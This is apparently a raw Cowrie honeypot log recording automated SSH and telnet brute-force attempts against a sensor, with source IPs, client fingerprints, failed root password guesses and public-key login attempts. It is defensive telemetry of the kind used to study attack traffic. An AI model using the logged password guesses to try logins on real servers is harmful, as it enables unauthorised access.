{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38854,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a1eff9f8023","protocol":"ssh","message":"New connection: 109.237.96.109:38854 (10.17.0.5:22) [session: 1a1eff9f8023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:02.821887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:02.826966Z","src_ip":"109.237.96.109","session":"1a1eff9f8023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:02.922794Z","src_ip":"109.237.96.109","session":"1a1eff9f8023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfksirf","message":"login attempt [root/vfksirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:03.218899Z","src_ip":"109.237.96.109","session":"1a1eff9f8023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:04.318746Z","src_ip":"109.237.96.109","session":"1a1eff9f8023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.43415689468384,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:05.927869Z","src_ip":"192.119.13.58","session":"22cfb76c2d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.142.152.7","src_port":10393,"dst_ip":"159.203.135.109","dst_port":23,"session":"197e6ead5c06","protocol":"telnet","message":"New connection: 91.142.152.7:10393 (159.203.135.109:23) [session: 197e6ead5c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:10.714287Z"}
{"eventid":"cowrie.session.closed","duration":43.33210515975952,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:18.651195Z","src_ip":"186.195.16.41","session":"c42f206dc54a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.210632801055908,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:23.924761Z","src_ip":"91.142.152.7","session":"197e6ead5c06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":48712,"dst_ip":"10.17.0.5","dst_port":22,"session":"17ee2a78d8a1","protocol":"ssh","message":"New connection: 103.27.238.116:48712 (10.17.0.5:22) [session: 17ee2a78d8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:28.082671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:28.087339Z","src_ip":"103.27.238.116","session":"17ee2a78d8a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:28.353024Z","src_ip":"103.27.238.116","session":"17ee2a78d8a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"timosha","message":"login attempt [root/timosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:29.150144Z","src_ip":"103.27.238.116","session":"17ee2a78d8a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:30.419356Z","src_ip":"103.27.238.116","session":"17ee2a78d8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":58478,"dst_ip":"10.17.0.5","dst_port":22,"session":"352e1ab1516b","protocol":"ssh","message":"New connection: 103.82.132.16:58478 (10.17.0.5:22) [session: 352e1ab1516b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:49.713503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:49.718371Z","src_ip":"103.82.132.16","session":"352e1ab1516b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:49.988593Z","src_ip":"103.82.132.16","session":"352e1ab1516b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdopi123_","message":"login attempt [root/asdopi123_] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:50.790086Z","src_ip":"103.82.132.16","session":"352e1ab1516b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:07:52.060261Z","src_ip":"103.82.132.16","session":"352e1ab1516b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":34852,"dst_ip":"10.17.0.5","dst_port":22,"session":"85adf93d849c","protocol":"ssh","message":"New connection: 89.223.69.22:34852 (10.17.0.5:22) [session: 85adf93d849c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:12.752419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:12.758840Z","src_ip":"89.223.69.22","session":"85adf93d849c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:12.874334Z","src_ip":"89.223.69.22","session":"85adf93d849c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:13.250775Z","src_ip":"89.223.69.22","session":"85adf93d849c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:14.368407Z","src_ip":"89.223.69.22","session":"85adf93d849c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":37820,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e4fead1a84a","protocol":"ssh","message":"New connection: 43.130.31.151:37820 (159.203.135.109:22) [session: 9e4fead1a84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:23.173645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:23.178849Z","src_ip":"43.130.31.151","session":"9e4fead1a84a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:23.253777Z","src_ip":"43.130.31.151","session":"9e4fead1a84a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple123!@","message":"login attempt [root/Apple123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:23.561272Z","src_ip":"43.130.31.151","session":"9e4fead1a84a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:24.633140Z","src_ip":"43.130.31.151","session":"9e4fead1a84a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49992,"dst_ip":"10.17.0.5","dst_port":23,"session":"c98b020042ac","protocol":"telnet","message":"New connection: 192.119.13.58:49992 (10.17.0.5:23) [session: c98b020042ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:08:46.676598Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56726,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab599e0ea2f2","protocol":"telnet","message":"New connection: 192.119.13.58:56726 (10.17.0.5:23) [session: ab599e0ea2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:12.849446Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.210.194.2","src_port":42398,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca62aaaabd80","protocol":"ssh","message":"New connection: 192.210.194.2:42398 (10.17.0.5:22) [session: ca62aaaabd80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.414974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.419987Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.493691Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:59:b9:bd:b7:78:19:e0:fb:3e:1a:ab:90:02:cf:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5t4PmU9eM55nKdtFJQ3zwNQcgvXG+S1KN+PgTEf1iyjq4v8Ww5yEskZu1NSBzzahGXtjva4SCQf7A2Ot5gHwmzCvh3GjEph5inYq5ssDeD9MmH2EBb1O4Ch+XZnkOdfirlvFGFS1DOGre/9SHPfRKppSQPflT6kNB7KvIt7BR6IReOf8G7TtWVckWmy2JY/c0BvvpjT9qAHR6CgFS+Arnaih3r2RhZzySifHbGG8cYWd93auFpzKxT9UQ2er/RDQg4ZaXFjbaOtiX/H+i/ytso8Vz7tJOVhsvvs2Fbwf/CbEW632O0daHGt4Gy9p9ZjR/PweWMjdclVd6hfxZZLm1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:59:b9:bd:b7:78:19:e0:fb:3e:1a:ab:90:02:cf:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.834329Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:59:b9:bd:b7:78:19:e0:fb:3e:1a:ab:90:02:cf:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5t4PmU9eM55nKdtFJQ3zwNQcgvXG+S1KN+PgTEf1iyjq4v8Ww5yEskZu1NSBzzahGXtjva4SCQf7A2Ot5gHwmzCvh3GjEph5inYq5ssDeD9MmH2EBb1O4Ch+XZnkOdfirlvFGFS1DOGre/9SHPfRKppSQPflT6kNB7KvIt7BR6IReOf8G7TtWVckWmy2JY/c0BvvpjT9qAHR6CgFS+Arnaih3r2RhZzySifHbGG8cYWd93auFpzKxT9UQ2er/RDQg4ZaXFjbaOtiX/H+i/ytso8Vz7tJOVhsvvs2Fbwf/CbEW632O0daHGt4Gy9p9ZjR/PweWMjdclVd6hfxZZLm1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.838149Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:0b:46:22:85:3f:8a:54:c2:2a:be:77:3e:70:72:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn+VLHNeqgHF2OE2WXrOiOqMF735i97RR2El75vHBbYeMrbK65AGohvDJKB0+SqP8S45iJyFYTby1flqkD8NKwhG1nmfZ+jnspO4hzqKy7O19X8/tpltES77rwjUtQgUfufeg0M1cbob+9TKduidEQlz1WHeHOM2ueJ0Ye3xkZKiiYl+IEOreKRaeaevR+0qylHpOfvcM7E4jIpRcqVWP3MtIHawQIo0X+HCQRizCaqvqjB55T+iT4qZiBcFrRXtgZ2/Y0ITbvcg3CvJzW+lhX6jccF2owQjZba1dvrSEOsq8IoCMr7OKE1L8UFr5azD+dmOtfKIvBpjHvTnLpQ0r1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:0b:46:22:85:3f:8a:54:c2:2a:be:77:3e:70:72:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.915468Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:0b:46:22:85:3f:8a:54:c2:2a:be:77:3e:70:72:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn+VLHNeqgHF2OE2WXrOiOqMF735i97RR2El75vHBbYeMrbK65AGohvDJKB0+SqP8S45iJyFYTby1flqkD8NKwhG1nmfZ+jnspO4hzqKy7O19X8/tpltES77rwjUtQgUfufeg0M1cbob+9TKduidEQlz1WHeHOM2ueJ0Ye3xkZKiiYl+IEOreKRaeaevR+0qylHpOfvcM7E4jIpRcqVWP3MtIHawQIo0X+HCQRizCaqvqjB55T+iT4qZiBcFrRXtgZ2/Y0ITbvcg3CvJzW+lhX6jccF2owQjZba1dvrSEOsq8IoCMr7OKE1L8UFr5azD+dmOtfKIvBpjHvTnLpQ0r1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.920130Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:62:1d:37:bc:26:5c:82:cf:ae:0b:d2:ec:6c:19:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx/jfhTNAcvw+qAwyeljsmBkUdnqLUfgjyBz7bKtPZcwhJv4yX4IK8s+oySBnvNOGvra3mtyt9Dz01S4G4Qmx7j5a0Tj8SXx8JjcETr/qKF5Mq6Y73jmXM0/m45p1xPUApklw/jH9V91QEBceQBbmcrG/YiItF6filbNFn30hbas4PI83AheYQ7Bh7PoHj+A1gICgoCMsJBeCK/7iVyJ0ulSt8SEGUEqqod8tZIshP7qWbCj1GLjtahuIBbLmR7mFxcQHUClCncpsLeTIDUsK7BogEAM+Q7In8xfSsImzSOV3QM5OKqyyE8FqomTx8Cch4+M/tWqufejdCHKA2Pb8sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:62:1d:37:bc:26:5c:82:cf:ae:0b:d2:ec:6c:19:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:09:17.994450Z","src_ip":"192.210.194.2","session":"ca62aaaabd80","protocol":"ssh"}
